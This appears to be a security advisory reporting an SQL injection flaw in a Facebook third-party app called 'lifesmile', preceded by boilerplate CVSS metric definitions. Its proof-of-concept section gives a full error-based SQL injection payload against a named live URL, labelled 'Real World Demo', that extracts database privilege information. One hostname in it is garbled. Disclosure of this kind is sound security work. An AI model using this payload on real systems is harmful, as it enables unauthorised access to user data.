The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Introduction:
=============
The application is currently included and viewable by all facebook users.
The service is an external 3rd party application sponsored by the Facebook
lifesmile Development Team.
(Copy from the Vendors Homepage: http://apps.facebook.com/lifesmile/)
Facebook is a social networking service and website launched in February
2004, operated and privately owned
by Facebook, Inc. As of July 2011, Facebook has more than 750 million
active users. Users may create
a personal profile, add other users as friends, and exchange messages,
including automatic notifications when
they update their profile. Facebook users must register before using the
site. Additionally, users may join
common-interest user groups, organized by workplace, school or college, or
other characteristics.

Proof of Concept:
=================
The vulnerability can be exploited by remote attackers. For demonstration
or reproduce ...
URL: http://apps.facebook.com/
Path: /lifesmile/
File: index.php
Example:
http://[APP-SERVER]/[SERVICE-APP]/[FILE].[PHP]?=[SQL Injection]
PoC:
http://apps.facebsadqqook.com/lifesmile/index.php?page=[SQL-Injection]
Real World Demo :
http://apps.facebook.com/lifesmile/index.php?page=210 AND (SELECT 1793
FROM(SELECT COUNT(*),CONCAT(0x3a626a7a3a,(SELECT
MID((IFNULL(CAST(privilege_type AS CHAR),0x20)),1,50) FROM
INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT
0,1),0x3a7672703a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS
GROUP BY x)a)
Risk:
=====
The security risk of the application sql injection vulnerabilities are
estimated as high(+).
